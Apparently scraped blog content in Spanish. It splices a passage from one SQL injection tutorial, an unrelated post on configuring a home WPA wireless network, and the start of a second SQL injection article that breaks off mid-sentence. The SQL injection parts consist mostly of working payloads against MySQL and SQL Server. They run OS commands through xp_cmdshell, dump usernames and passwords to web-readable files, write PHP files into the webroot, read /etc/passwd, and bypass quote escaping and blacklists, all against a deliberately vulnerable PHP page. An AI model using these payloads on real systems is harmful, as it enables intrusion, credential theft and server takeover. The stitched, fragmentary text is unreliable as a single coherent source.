?id=-1'; create table temp (line varchar(8000)); insert into temp exec xp_cmdshell 'dir c:\'; -- creamos la tabla y asignamos el resultado de ejecutar un dir
?id=-1' union allselect '1',cast((select line from temp FOR XML RAW,BINARY BASE64) as text),'3
?id=-1'; drop table temp --

Como la salida es en múltiples registros, utilicé for xml como expliqué anteriormente.

El peor de los males no es ejecutar comandos de consultas, sino ejecutar cualquier comando. De la misma forma podría crear un programa que realice una conexión remota desde el servidor de base de datos a la máquina del atacante y habilitarle un shell. Esto es bastante más complejo de hacer, pero existen herramientas que lo simplifican como metasploit. Esta explicación quedará para otro artículo =)


Bajar los datos a archivos

Si no queremos o podemos utilizar funciones como GROUP_CONCAT o FOR XML, y queremos obtener todos los datos de una tabla en una consulta, podemos hacerlo utilizando archivos.
Como lo que queremos es obtener los datos, para que la sentencia anterior nos sirva, debemos escribir un archivo que sea legible por el servidor web y de esta forma podremos levantar el resultado desde el browser. Esto no es tan simple, porque se tienen que dar varias condiciones para que esto sea posible:

- El usuario del sistema operativo con el que se ejecuta el servidor MySQL o SQL Server debe tener permiso de escritura en el directorio del servidor web. En GNU/Linux el usuario de MySQL suele llamarse mysql y por defecto NO tiene permiso de escritura en directorios web. Igualmente hay muchos administradores que configuran mal los permisos en sus directorios, así que no sería raro encontrar alguno donde se pueda escribir.
En Windows la cosa puede cambiar, porque es muy probable que el servicio MySQL o SQL Server se ejecute con permisos de Administrador... es decir, desde el DBMS se puede escribir en cualquier directorio!

- Necesitamos conocer el path absoluto del directorio web. Para poder acceder el archivo, necesitamos saber en qué directorio crearlo. Esto no suele ser tan difícil porque en general se utilizan directorios default. En GNU/Linux puede ser /var/www/ o /var/www/<nombre del site> o /home/<usuario>/public_html. En Windows, dependiendo del servidor, puede estar en c:\wamp\www o c:\inetpub\wwwroot.

En MySQL contamos con SELECT ... INTO OUTFILE o SELECT ... INTO DUMPFILE. El primero permite enviar el resultado de la consulta a un archivo en el servidor, con las columnas separadas por tabs y las filas con enters. El segundo también permite enviar el resultado a un archivo en el servidor, pero sin formatear la salida, es decir, todas las columnas y filas se concatenan una al lado de la otra.
Para cualquier actividad con archivos desde MySQL se requiere que el usuario de base de datos que ejecuta la consulta tenga el permiso global FILE. Este permiso permite al usuario leer y escribir archivos en el servidor.

Bien, suponiendo que contamos con todas las condiciones anteriores, veamos entonces como realizar la inyección. Tomando como base el ejemplo de nuestra página inyectable, lo que queremos hacer es armar una consulta que nos devuelva todos los registros y todas las columnas en una consulta:

SELECT * FROM t_user INTO OUTFILE '/var/www/inyeccion.txt'

Traducir esto a la inyección no es tan directo. Recuerden que por el formato de la consulta original, podemos obtener solo 3 columnas a la vez. Esto no es problema porque como vimos en la explicación anterior, podemos concatenar varias columnas en una sola usando la función CONCAT_WS. Para no agregar datos basura al archivo de texto, mostramos la concatenación de todas las columnas en una sola y para cubrir las otras dos necesarios insertamos el caracter null:

?id=-1' union all select CONCAT_WS(':',name, email, username, password),null,null from t_user into outfile '/var/www/inyeccion.txt

Ahora lo único que tienen que hacer es abrir la página desde el browser o usando nc, wget, etc, y apuntar al archivo inyeccion.txt. La dirección puede ser algo como http://www.superinseguro.com/inyeccion.txt

En SQL Server existen varias alternativas para crear archivos a partir de datos seleccionados, esto se debe a que permite ejecutar programas externos. El problema es que las alternativas requieren ejecutar programas externos, por lo cual necesitamos que el stored procedure xp_cmdshell esté habilitado.

Una vez que contamos con xp_cmdshell, podemos elegir entre las siguientes opciones:
- osql permite conectarse a la base de datos y ejecutar querys. MS la considera deprecated y prefieren el uso de sqlcmd.
- bcp bulk copy, permite realizar copia de datos de la base de datos a archivos. Es mucho más interesante que la anterior para nuestro objetivo.
El problema con las herramientas externas es que requieren las credenciales de la base de datos para conectarse y volcar los datos, por lo cual necesitamos conocer algun usuario... pero a no desesperar porque dependiendo del control que tengamos sobre la base de datos, podemos agregar un usuario, o bien, si se utiliza autenticación integrada, utilizar esta opción porque el DBMS confía en el usuario de Windows.
Eligiendo bcp como nuestra opción, el comando a ejecutar es el siguiente:

EXEC xp_cmdshell 'bcp testdb..t_user out C:\Inetpub\wwwroot\inyeccion.txt -Slocalhost -T -c '

que podemos traducir a:

?id=-1'; exec xp_cmdshell 'bcp testdb..t_user out C:\Inetpub\wwwroot\inyeccion.txt -Slocalhost -T -c ' --

Al igual que antes, apuntando al archivo desde el browser, podemos acceder a los datos.

Una opción que no requiere ejecución de un programa externo es el stored procedure sp_MakeWebTask que crea archivos HTML a partir del resultado de consultas a la base de datos. Por defecto, al igual que xp_cmdshell, viene desactivado. Para activarlo, debemos ejecutar una consulta similar a la que ejecutamos para activar xp_cmdshell:

EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'Web Assistant Procedures', 1
RECONFIGURE

es decir:

?id=-1'; exec sp_configure 'show advanced options',1; reconfigure; exec sp_configure 'Web Assistant Procedures',1; reconfigure; --

Si contamos con sp_makewebtask podemos ejecutar el siguiente comando para exportar la tabla t_user a un archivo que podamos levantar con el browser:

EXEC sp_makewebtask @outputfile='c:\Inetpub\wwwroot\inyeccion.txt', @query='select * from testdb..t_user';

traducido a:

?id=-1'; exec sp_makewebtask @outputfile='c:\Inetpub\wwwroot\inyeccion.txt', @query='select * from testdb..t_user'; --

Remote File Injection

A partir de la explicación anterior, seguramente alguno ya esté pensando en un ataque todavía más grave. Qué sucede si en lugar de crear un archivo txt con datos de tablas, creamos un programa php, asp, etc? si, estaremos haciendo un upload, algo muy similar al remote file inclusion, al cual bauticé remote file injection (tal vez ya exista otro nombre para este ataque =P). En este punto las posibilidades son infinitas, si logramos incluir un programa básico, luego podremos hacer upload de cualquier cosa que deseemos y tomar control del servidor.
El ataque es igual al anterior, pero cambiando el select de tablas por un select de un string creado por nosotros. En MySQL esto significa ejecutar lo siguiente:

SELECT '<?php print("hackeado!"); ?>' INTO DUMPFILE hacking.php

que traducido a la inyección de nuestra página queda:

?id=-1' union all select '<?php print("hackeado!"); ?>',null,null into dumpfile '/var/www/hacking.php

De la misma forma, pueden inyectar el contenido que se les antoje. Tal vez tengan limitada la cantidad de caracteres a inyectar, pero como dije antes, un script simple permite hacer uploads de otros scripts, es cuestión de usar la imaginación =)

Para hacer la misma tarea en SQL Server, podemos utilizar bcp de la siguiente forma:

EXEC xp_cmdshell 'bcp "SELECT ''<?php print("hackeado!"); ?>''" queryout c:\Inetpub\wwwroot\hacking.php -T -c'

pero para qué complicarnos la vida usando bcp si podemos simplemente utilizar un echo de la siguiente forma:

EXEC xp_cmdshell 'echo ^<?php print("hackeado!"); ?^> > c:\Inetpub\wwwroot\hacking.php'

y simplemente traducido a:

?id=-1'; exec xp_cmdshell 'echo ^<?php print("hackeado!"); ?^> > c:\Inetpub\wwwroot\hacking.php' --

Si no tienen demasiada experiencia con la consola de Windows (como yo), les llamará la atención los ^, bueno, son para escapar los corchetes angulares (<>).


Local File Inclusion

Así como pudimos crear un archivo en el servidor (ya sea un script, un programa, etc), si tenemos los permisos indicados, también podremos cargar un archivo del servidor y mostrarlo. Hay muchos archivos que pueden resultar de interés, pero el ejemplo más claro en los *nix es el /etc/passwd

En MySQL contamos con la función LOAD_FILE() para incorporar un archivo y la podemos utilizar en un SELECT, lo que quiere decir que podemos hacer un dump de /etc/passwd en pantalla. Claro que para poder usar la función LOAD_FILE es necesario contar con el privilegio FILE de MySQL como les expliqué anteriormente.
La consulta que necesitamos hacer es la siguiente:

SELECT LOAD_FILE('/etc/passwd')

la cual, utilizando el ya conocido ejemplo, se traduciría a:

?id=-1' union all select '1',load_file('/etc/passwd'),'2

bastante simple no?

En SQL Server la cosa es un poco más complicada, pero igualmente posible. Para lograrlo, primero debemos importar el contenido del archivo que deseamos en una tabla, para luego seleccionar el contenido de la tabla. Si no queremos dejar rastro, habrá que eliminar la tabla una vez que la accedimos.
El operador que permite hacer esta tarea es BULK INSERT, y lo podemos utilizar de la siguiente forma:

CREATE TABLE temp( line VARCHAR(8000) );
BULK INSERT temp FROM 'c:\Inetpub\wwwroot\iisstart.asp' WITH (ROWTERMINATOR = '\0');
DROP TABLE temp;

Como dije previamente, primero creamos una tabla donde meter los datos, luego colocamos los datos del archivo c:\Inetpub\wwwroot\iisstart.asp usando BULK INSERT, indicando que el delimitador de filas es el caracter null. Con este delimitador de línea podremos leer todo el archivo en un solo registro, algo que nos servirá para luego accederlo desde la página. Finalmente borramos la tabla.
El código anterior lo podemos traducir a inyección de la siguiente forma:

?id=1'; create table temp (line varchar(8000)); bulk insert temp from 'c:\Inetpub\wwwroot\iisstart.asp' with (ROWTERMINATOR = '\0'); --
?id=-1' union all select '1',line,'3' from temp; --
?id=1'; drop table temp; --

Vale aclarar que para poder insertar un archivo en una tabla, el usuario de base de datos debe tener el permiso bulkadmin, y claro, debemos tener permiso e lectura en el archivo.

Pueden ver un ejemplo completo de cómo usar BULK INSERT en SQL SERVER – Import CSV File Into SQL Server Using Bulk Insert – Load Comma Delimited File Into SQL Server.


No puedo usar comillas... no importa!

En la mayoría de las inyecciones necesitaremos utilizar strings, y los strings van entre comillas, entonces, qué sucede si no podemos utilizar comillas?, ya sea porque estén escapeadas o por alguna razón del lenguaje subyacente, en algunos casos todavía es posible inyectar...
Un string se puede representar de varias formas, no solamente entre comillas. La forma más utilizada es obtener el caracter ascii de cada caracter para luego utilizar la función char y concatenarlos para obtener el string que deseamos. Tanto MySQL como SQL Server proveen la función char para cumplir este objetivo, aunque la concatenación se realiza de distintas formas. Por ejemplo, podemos representar el string test de la siguiente manera:

- CHAR(116, 101, 115, 116) //en MySQL
- CHAR(116)+CHAR(101)+CHAR(115)+CHAR(116) //en SQL Server

Entonces, si la consulta del código de ejemplo estuviera armada de forma que se espere un entero como id y se escapean comillas:

$query = SELECT * FROM content WHERE id=mysql_real_escape_string($_GET['id']);
mysql_query($query);

podríamos igualmente hacer inyecciones como la que me permite obtener el password del usuario demasiadovivo:

?id=-1 union all select null,pass,null from t_user where username=CHAR(100, 101, 109, 97, 115, 105, 97, 100, 111, 118, 105, 118, 111)

y en SQL Server a:

?id=-1 union all select null,pass,null from t_user where username= CHAR(100)+CHAR(101)+CHAR(109)+CHAR(97)+CHAR(115)+CHAR(105)+CHAR(97)+CHAR(100)+CHAR(111)+CHAR(118)+CHAR(105)+CHAR(118)+CHAR(111)

En MySQL contamos con otra alternativa para generar strings sin utilizar comillas, que es utilizar la representación en hexa. Por ejemplo, podemos obtener la representación en hexa del usuario demasiadovivo con la siguiente consulta:

SELECT CONCAT('0x',HEX('demasiadovivo'))

la cual luego podemos utilizar en la inyección de la siguiente forma:

?id=-1 union all select null,pass,null from t_user where username=0x64656D61736961646F7669766F

Escapar blacklists

Un recurso que he visto en algunos sites Web es el de las blacklist, es decir, parsear los parámetros en busca de inyecciones y si encontramos algo, o bien eliminarlo o abortar la consulta. Las blacklist son un recurso pésimo para asegurar una aplicación, por una parte porque son ineficientes y por otra porque no realizan un trabajo completo y son fáciles de bypassear.
Por más completa que esté una blacklist, es posible que olvidemos algo y eso es lo que el atacante espera. Además las blacklist se centran en buscar parámetros SQL como SELECT, UNION, INSERT, --, etc, así que imaginense que si en un campo de una página estaba permitido escribir "la union de los trabajadores", ahora no es posible porque dicha consulta está baneada.

Además de lo anterior, es posible bypassear este tipo de controles agregando comentarios. Por ejemplo, una consulta que contenga UNION ALL SELECT '1', será pezcada por nuestro mecanismo de seguridad de blacklists, pero nada impide al atacante escribir la consutla como UNION/**/ALL/**/SELECT/**/'1', una consulta válida para los DBMS y que bypassea mecanismos simples de blacklists


More, more, more!

Si bien cubrí prácticamente todos los ataques interesantes, el límite es su creatividad. Tal vez a ustedes se les ocurran mucho más para hacer y me encantaría que lo compartan.
Un ataque interesante con SQLi es el que mostré hace varios meses en Reflected XSS a través de SQL Injection.
Existe un cheat-sheet muy completo donde se resumen la mayoría de estos ataques y algunos más, incorporando algunos otros DBMSs como Oracle y PostgreSQL, vale la pena que le den una leída: SQL Injection Cheat Sheet.

Configurando una red inalámbrica hogareña

Luego de un período con grandes cambios a nivel personal, vuelvo a tener tiempo (y ganas) de escribir un artículo. En este caso para contar mis experiencias configurando mi red inalámbrica hogareña.

Para comenzar el desarrollo de la red hace falta conseguir lo más importante, que es el router inalámbrico. La marca/modelo a comprar depende del área a cubrir y el dinero que dispongamos. En mi caso opté por un router TP-LINK TL-WR340G ya que sólo me interesa cubrir mi departamento y es una opción super económica.

La configuración de este router es extremadamente sencilla: conectamos el cable de red de nuestro ISP al router; conectamos nuestra PC/Notebook (utilizando una IP fija 192.168.0.0/24) a una boca ethernet del router; y finalmente ingresamos por Web al router ingresando 192.168.1.1 en nuestro navegador.

La interfaz Web es muy intuitiva y haciendo unos pocos clics ya tenemos la red inalámbrica funcionando con DHCP. Lo más importante son dos cuestiones. La primera: dependiendo del servicio de Internet contratado, será necesario configurar PPPoE (Point-to-Point Protocol over Ethernet) para conectarse al ISP (con un nombre de usuario y contraseña otorgados por el proveedor). La segunda: habilitar la seguridad Wireless en el router (autenticación y encripción). A pesar de que WEP es mejor que nada, es un protocolo que posee varias debilidades, por lo tanto es altamente recomendable utilizar WPA/WPA2. Basta con seleccionar WPA-PSK (PSK: Pre-Shard Key, autenticación mediante clave compartida) en el router y utilizar una clave fuerte (formada por letras mayúsculas, minúsculas, números, símbolos y lo suficientemente larga).

Luego de configurar el router (la parte sencilla) la tarea de configurar los clientes no fue tan trivial.

El primer cliente fue una Notebook con Windows XP instalado de base con su placa de red inalámbrica funcionando correctamente. Para conectarlo a nuestra red simplemente hacemos clic derecho sobre el ícono del adaptador de red inalámbrico en la barra de tareas, luego clic en "Ver redes inalámbricas disponibles", luego seleccionamos nuestra red, clic en "Conectar" e introducimos la contraseña dos veces. Hasta acá muy fácil y bonito.

El siguiente cliente fue una Notebook con Ubuntu 9.04. Esta versión de Ubuntu ya incorpora los drivers para la placa de red Realtek RTL8187B y funciona correctamente. Pero los problemas comenzaron al tratar de conectarse a una red protegida con WPA. Ya sea utilizando el administrador de redes "network-manager" o "Wicd", la conexión se pierde luego de un corto lapso de tiempo. El error se repite una y otra vez. Luego de investigar un tiempo en Internet supe que se trata de un problema de autenticación (bastante común entre los usuarios de esta distro) entre gnome-keyring/Dbus/Network Manager. Para solucionarlo le otorgué permisos para utilizar adaptadores inalámbricos al usuario en cuestión desde el menú "System > Administration > Users and Groups". Luego de esto, utilizando Wicd, la red comenzó a funcionar "más o menos bien" aunque tarda mucho tiempo en detectar y conectarse a la red y sufre alguna desconexión esporádica.
La solución a implementar para que la red funcione perfectamente en este sistema operativo es la misma que describo más adelante para Slackware.

El próximo cliente fue una PC con Windows XP. Como no tenía un adaptador de red inalámbrico decidí comprar uno USB (la solución más económica y práctica para mis necesidades). Luego de conectar el dispositivo cometí el error de instalar los controladores directamente desde el disco compacto que incluía en la caja. Este instalador agregó un horrible manejador de redes inalámbricas en la barra de tareas que reemplazó al manejador de redes inalámbricas de Windows. Luego de la clásica reiniciada, el manejador no detectó ninguna red y no me permitió utilizar el de Windows. Por lo tanto tuve que desinstalar los controladores, reiniciar y comenzar de nuevo, esta vez utilizando el "Asistente para agregar hardware" en lugar del instalador del CD. Cuando se abre el asistente insertamos el CD y presionamos en "Siguiente". Luego de que Windows detecta los drivers que se encuentran en el CD, seleccionamos el driver de acuerdo a nuestra versión de Windows y continuamos con la instalación.
Una vez instalado el hardware utilizamos (previa reiniciada) el manejador de redes inalámbricas de Windows que se encuentra en la barra de tareas y nos conectamos perfectamente a nuestra red (esta vez sin utilizar el horrible manejador de redes incorporado en el CD del fabricante) como para el caso del primer cliente.

Luego de renegar con Windows y Ubuntu me puse el overol para aprender cómo funcionan las cosas de la mano de Slackware. La versión 13.1 instalada en la PC incorpora los drivers para el adaptador USB (utiliza el mismo chip Realtek RTL8187B de la notebook) por lo tanto la red inalámbrica funciona perfectamente.
Ya que vamos a conectarnos a una red inalámbrica con seguridad WPA, no basta con utilizar iwconfig para configurar el adaptador, es necesario utilizar wpa_supplicant. WPA Supplicant es el componente del protocolo IEEE 802.1X/WPA utilizado en las estaciones cliente. Implementa la negociación de claves con un autenticador WPA (en este caso nuestro router). Funciona como un demonio que se ejecuta en background y actúa como un componente back-end que controla la conexión wireless. En Slackware 13.1 viene incluido en la instalación base y en las distribuciones basadas en Debian lo provee el paquete wpasupplicant.
wpa_supplicant toma la configuración de las redes inalámbricas con seguridad WPA desde el archivo /etc/wpa_supplicant.conf. Para agregar una red en este archivo se utiliza el comando wpa_passphrase con el SSID de la red como parámetro:

$ wpa_passphrase myssid

Este comando lee la clave compartida de la red WPA (la misma que ingresamos en el router) por la entrada estándar y genera la clave encriptada para almacenar en el archivo /etc/wpa_supplicant.conf (para no tener que escribir la contraseña cada vez que nos conectamos a la red). Copiamos la salida de wpa_passphrase y la pegamos al final del archivo /etc/wpa_supplicant.conf.
Luego de estos pasos podemos conectarnos a la red inalámbrica:

# iwconfig wlan0 essid "myssid"
# ifup wlan0
# wpa_supplicant -iwlan0 -c/etc/wpa_supplicant.conf
# dhcpcd wlan0

El cliente WPA Supplicant es bastante vervoso e imprime por salida estándar todos los pasos durante la autenticación con el AP. Luego podemos verificar que la red haya tomado una dirección IP desde el AP utilizando el comando ifconfig.

Parece una tarea tediosa, pero el aprendizaje es invaluable y la red funciona excelentemente.

Aunque si no desean escribir estos 4 comandos cada vez que se conecten a la red, en Slackware pueden agregar un script en /etc/rc.d que lo haga automáticamente o en las distribuciones basadas en Debian pueden editar el archivo /etc/network/interfaces:

auto wlan0
iface wlan0 inet dhcp
up wpa_supplicant -iwlan0 -c/etc/wpa_supplicant.conf -Bw
down killall wpa_supplicant

La opción -B pone el demonio wpa_upplicant en background y la opción -w le indica que no haga anda hasta que la interfase esté levantada.

Luego de esta tarea tengo mi red inalámbrica funcionando en perfectas condiciones. A aquellos usuarios de Linux espero que les sirva la info y a los de Windows, bueno... nadie es ferpecto.

Saludos!


P.S.: Perdón por las screenshots!


Referencias:

• http://hostap.epitest.fi/wpa_supplicant/
• http://www.enterprisenetworkingplanet.com/netsecur/article.php/3594946/Linux-on-Your-WLAN-Configure-WPA.htm

SQL Injection en MySQL y SQL Server: robando datos con UNIONs y CASTs

Parece que arranqué al revés yendo de difícil a más fácil mostrando SQL Injection totalmente blind antes que inyecciones más simples. Es interesante ver las técnicas que se pueden utilizar al poder ver los mensajes de error que retorna un servidor mal configurado. Para el que se lo haya perdido, comencé la serie de artículos SQLi con el artículo Inyección Mortal: SQL Injection y luego continuó en el completo artículo El arte de la inyección blind (MySQL).

Cuando un servidor retorna mensajes de error de base de datos debido a consultas incorrectas, el trabajo del atacante es mucho más fácil porque puede orientarse fácilmente sobre cómo armar las consultas y obtener datos de forma más simple y rápida. Si bien las técnicas que mostré en el artículo sobre inyección blind obviamente funcionan para estos casos, es mejor utilizar técnicas más simples como las que mostraré a continuación, siempre que sea posible.

Una vez más, las diferencias entre ciertas consultas en los distintos DBMSs hacen que los ataques varíen entre un motor y otro, pero la base es la misma. Algunos DBMSs poseen facilidades que permiten al atacante realizar menor cantidad de consultas para obtener los mismos datos.

En el siguiente artículo les mostraré cómo obtener datos a través de inyecciones en páginas web, utilizando UNION y CAST. Me centraré en los ataques con UNION que son los más utilizados e independientes del DBMS. Cubriré tanto MySQL como SQL Server que son los dos motores más utilizados en internet.

En fin, comencemos a inyectar!


Código para jugar

Como de costumbre, las explicaciones son más simples teniendo ejemplos, así que utilicemos un código de muestra sobre el cual podemos inyectar. Para hacerlo simple (y porque soy perezoso), tomemos el mismo código que utilicé en el artículo de inyección blind. En esta ocación hablaré tanto de inyecciones sobre MySQL como SQL Server. Por suerte utilizar una base de datos u otra en php es tan simple como cambiar el nombre de las funciones a llamar, por lo cual dejo el código para utilizar MySQL, y al lado de cada función les pongo un comentario con la función a colocar en el caso de utilizar SQL Server. Es obvio que para utilizar SQL Server deberán tener un Windows... a menos que hayan logrado que ande en GNU/Linux =P

<HTML>
<HEAD><TITLE>Testeando SQLi</TITLE></HEAD>
<BODY>
<?php
$db = mysql_connect('localhost', 'tester', '123456'); //mssql_connect('192.168.1.10', 'tester', '123456'); //en mi caso 192.168.1.10 es la máquina con SQL Server
mysql_select_db('test', $db); //mssql_select_db('test', $db);
if(isset($_GET['id']))
{
  $query = "SELECT * FROM content WHERE id='".$_GET['id']."'";
}
else
{
  $query = "SELECT * FROM content WHERE id='3'";
}

print "query: ".$query."<HR>";
print '<A HREF="?id=3">News</A> | <A HREF="?id=1">SQL Test</A> | <A HREF="?id=2">Links</A><BR><BR>';

if($result = mysql_query($query)) //if($result = mssql_query($query))
{
  $row = mysql_fetch_array($result); //$row = mssql_fetch_array($result);
  print("<B>".$row['title']."</B><BR><BR>");
  print($row['content']);
  mysql_free_result($result); //mssql_free_result($result);
}
?>
</BODY>
</HTML>

El código me retornará el contenido de la página si la consulta es correcta, y retornará el contenido cuyo id es 3 (News), en caso de que la consulta falle. La consulta ejecutada sobre la base de datos es "SELECT * FROM content WHERE id='<el-id>'"
Nuevamente, la base de datos se llama test y contiene la tabla t_content:

+----+----------+------------------------------+
| id | title    | content                      |
+----+----------+------------------------------+
|  1 | SQL Test | vas a aprender mucho SQLi    |
|  2 | Links    | seccion con links            |
|  3 | News     | hoy aprendes inyeccion SQL   |
+----+----------+------------------------------+

y la tabla t_user:

+----+---------------+--------------------------------+---------------+-------------+
| id | name          | email                          | username      | pass        |
+----+---------------+--------------------------------+---------------+-------------+
|  1 | demasiadovivo | demasiadovivo@misuperemail.com | demasiadovivo | pass123     |
|  2 | emilio        | emilio@otromailguay.com        | emilio        | linuxrulez  |
|  3 | Javi          | javiz@misuperemail.com         | javiz         | javsecurity |
+----+---------------+--------------------------------+---------------+-------------+

Inyecciones CAST y UNION

Al igual que con inyecciones blind, se utilizan básicamente dos formas de obtener datos a través de inyecciones en un consulta. Por un lado podemos utilizar expresiones booleanas con AND, o utilizar el operador UNION.
Una de las técnicas con expresiones booleanas la vimos en el artículo de inyección blind, donde tomamos substrings y convertimos caracteres a ascii para ir comparando de a letras... algo bastante tedioso. Por suerte, en SQL Server, si contamos con los errores causados en el servidor, podemos aprovechar los AND en conjunto con la función CAST. Si utilizamos CAST para intentar convertir un tipo de datos string a un entero, el servidor nos retornará un error conteniendo el string! Por ejemplo, una consulta del tipo 1=CAST(@@version as integer) nos dará un error conteniendo la versión del motor de base de datos. En el código de ejemplo, tal consulta quedaría:

?id=1' and 1=CAST(@@version as integer) and '1'='1

y nos mostraría algo como lo siguiente:

Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 Copyright (c) 1988-2005 Microsoft Corporation Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2) ' to data type int.

El "and '1'='1" del final es para escapar la comilla que sobra en la consulta, porque sino, es posible que el DBMS retorne que sobra una comilla en lugar del error que buscamos. Otra forma de escapar este problema es utilizando comentarios luego de la consulta, como por ejemplo:

?id=1' and 1=cast(@@version as integer) --

En MySQL la técnica no sirve porque al intentar hacer un cast incorrecto, el servidor simplemente retorna 0, es decir, no origina un error.
Se puede realizar cualquier ataque realizable con UNION utilizando CAST de esta manera. Por ejemplo, pueden obtener los nombres de usuario de la tabla t_user de la siguiente manera:

?id=1' and 1=cast((select username from t_user where username <'e') as integer) and '1'='1

Es necesario que la consulta retorne un solo string, por ello utilicé la expresión "where username<'e'". Más adelante les mostraré una técnica para limitar la cantidad de filas retornadas.

La opción más comúnmente utilizada y "estándar" es realizar una unión. Ya he explicado en otros posts cómo funciona esta técnica, pero veamos un pequeño repaso. UNION nos permite unir los resultados de una consulta con los resultados de otra consulta, siempre y cuando ambas consultas tengan como resultado la misma cantidad de columnas. Si utilizamos sólo UNION, las columnas a unir deben ser del mismo tipo, pero si en cambio aprovechamos UNION ALL, podemos utilizar distintos tipos. Como veremos en la siguiente sección, existen distintas técnicas para obtener la cantidad de columnas de la consulta original (la que utiliza la página para mostrar resultados) para así poder agregar nuestra consulta y obtener datos.
De aquí en más la explicación se centrará en ataques con UNION, pero tengan en cuenta que haciendo algunos cambios, se pueden realizar las mismas consultas utilizando CAST.


Número de columnas de la consulta a inyectar

Como vimos en la sección anterior, si utilizamos UNION para obtener datos a partir de una consulta inyectable, necesitamos primero determinar la cantidad de columnas seleccionadas y el nombre de las columnas de las tablas que queremos obtener.
Para determinar el número de columnas seleccionadas podemos utilizar varias técnicas, entre las cuales están el mismo "UNION", "ORDER BY" y "HAVING and GROUP BY". Veamos cada una por separado:

- UNION: una consulta que utilice UNION retornará un error si la cantidad de columnas no es la misma en ambas consultas, por lo cual podemos probar colocando distinta cantidad de columnas hasta que la consulta no de más error. Lo lógico sería arrancar con una columna, luego dos, luego tres, etc. Para lograr esto, podemos utilizar la consulta SELECT en conjunto con strings separados por coma para delimitar la columna. Por ejemplo, si comenzamos con una columna y vamos aumentando, quedaría así:

?id=1' union select '1 //da error porque la consulta original tiene 3 columnas
?id=1' union select '1','2 //idem
?id=1' union select '1','2','3 //OK!

como ven, el último parámetro lo dejo sin comilla final porque la consulta original la va a agregar. Siempre utilicen comillas porque si utilizan números puede que la consulta falle. Los DBMS aceptan un número entre comillas en el caso de un entero, pero no aceptan enteros donde van strings. Como de antemano no sabemos qué columna es un entero y cuál es un string, lo mejor es utilizar siempre strings.
Si observan el resultado en la página, podrán ver que se muestran solo la 2da y la 3er columna, lo cual quiere decir que, si bien se seleccionan 3, puedo ver sólo dos de ellas por pantalla.

- ORDER BY: el caso de ORDER BY es muy similar a UNION. ORDER BY permite ordenar los resultados de una consulta en base a una columna. ORDER BY toma como parámetro el número de la columna que utilizamos para ordenar los resultados, si utilizamos un número de columna mayor a la cantidad de columnas retornadas por la consulta, dará error. Por ello, lo que hacemos es ir probando con el valor 1, luego 2, luego 3, etc, hasta que la consulta de error:

?id=1' order by 1 -- 1 //consulta OK porque son 3 columnas
?id=1' order by 2 -- 1 //idem
?id=1' order by 3 -- 1 //idem
?id=1' order by 4 -- 1 //error! es decir, encontramos que son 3 columnas

tal vez se pregunten por qué luego de los caracteres de comentario ingresé un 1? bueno, fue algo que descubrí luego de obtener varios errores. Resulta que MySQL no toma los caracteres de comentario como tales, a menos que, o bien no tengan nada a continuación, o bien luego les siga un espacio. En la consulta anterior, si no ingresamos un espacio y luego otro caracter, dará error. Intenten ejecutar directamente en el DBMS la misma consulta y verán el resultado.

- HAVING 1=1 and GROUP BY: posiblemente esta sea la opción más interesante de las tres, en caso de contar con SQL Server. HAVING se comporta como la cláusula WHERE, pero permite aplicarla a grupos generados por GROUP BY. Sin GROUP BY, se comporta como un WHERE. GROUP BY se utiliza con funciones de agregado como SUM para agrupar resultados en base a una cierta columna. Una buena explicación de HAVING la pueden leer en SQL Tutorial - SQL HAVING, y la de GROUP BY en SQL Tutorial - SQL GROUP BY.
En SQL Server no se aplica exactamente el estándar y si utilizan HAVING sin GROUP BY o una función de agregado, el servidor retornará un error como el siguiente:

Column 't_content.id' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

Esto nos da la posibilidad de obtener tanto la cantidad de columnas de la consulta como el nombre de cada columna. Como ven en el error anterior, el nombre de la columna queda explícito en el mensaje. Una vez que obtenemos el nombre de una columna, podemos utilizar GROUP BY de esa columna y así en el siguiente error saltará el nombre de la segunda columna. De esta forma, obtendremos todas las columnas de la consulta:

?id=1' having 1=1 -- 1 //nos retorna "Column 't_content.id' is invalid..." es decir, obtenemos el nombre de la primer columna seleccionada
?id=1' group by id having 1=1 -- 1 //nos retorna "Column 't_content.title' is invalid...", con lo que obtenemos el nombre de la segunda columna
?id=1' group by id,title having 1=1 -- 1 //nos retorna "Column 't_content.content' is invalid...", y ya sabemos el nombre de la tercer columna
?id=1' group by id,title,content having 1=1 -- 1 //no obtenemos error, lo cual quiere decir que ya obtuvimos todas las columnas de la consulta, y que la cantidad de columnas es 3.

Nombres de tablas

Ya mostré cómo obtener los nombres de las tablas en MySQL utilizando inyección blind y las funciones substring, upper y ascii. Como repaso, les comento que todas las tablas de todas las bases de datos se almacenan en la base de datos information_schema, en la tabla tables. La columna que nos interesa de esta tabla es table_name y la podemos obtener ejecutando:

SELECT table_name FROM information_schema.tables
lo cual traducido a una inyección en nuestra página de ejemplo sería:
?id=-1' union all select '1',table_name,'3' from information_schema.tables limit 0,1 -- 1
?id=-1' union all select '1',table_name,'3' from information_schema.tables limit 1,1 -- 1
...
?id=-1' union all select table_name,'1','1' from information_schema.tables limit n,1 -- 1

Si prestaron atención, verán varias cosas interesantes en la consulta anterior. Por un lado utilicé el id=-1 que sé que no retornará ningún contenido, y así puedo ver la fila obtenida en la unión. Si no hiciera esto, como la página toma sólo la primer fila retornada, no podría ver el resultado de mi consulta (que quedaría segunda). Esto hace que deba consultar las filas de a una, y me lleva a utilizar el operador LIMIT. En la primer consulta comienzo con offset 0 y obtengo el primer nombre de tabla, en la segunda comienzo con offset 1, y obtengo el segundo, y de esta forma continúo hasta obtener todas las tablas. Por último verán que agregué un '1' al principio y un '3' al final para completar la cantidad de campos necesarios en la unión. No puedo utilizar el primer campo porque la página no me lo muestra, así que utilizo el segundo (también podría haber utilizado el tercero).

Es importante destacar que si el usuario con el que se ejecuta la consulta posee permisos en varias bases de datos, les mostrará el nombre de todas las tablas a las que tenga acceso. Por ello, es necesario restringir la búsqueda a la base de datos que nos interesa. El nombre de la base de datos actual se puede obtener ejecutando la función database():

SELECT database()

que se traduce a la siguiente inyección:

?id=-1' union all select '1',database(),user() -- 1 //me retorna test, y tester@localhost

Como es gratis, ademas de obtener el nombre de la base de datos, aproveché para obtener también el nombre del usuario.
Ya sabiendo que el nombre de la base de datos es test, puedo customizar la consulta anterior para que sólo me retorne las tablas de esta base de datos de la siguiente forma:

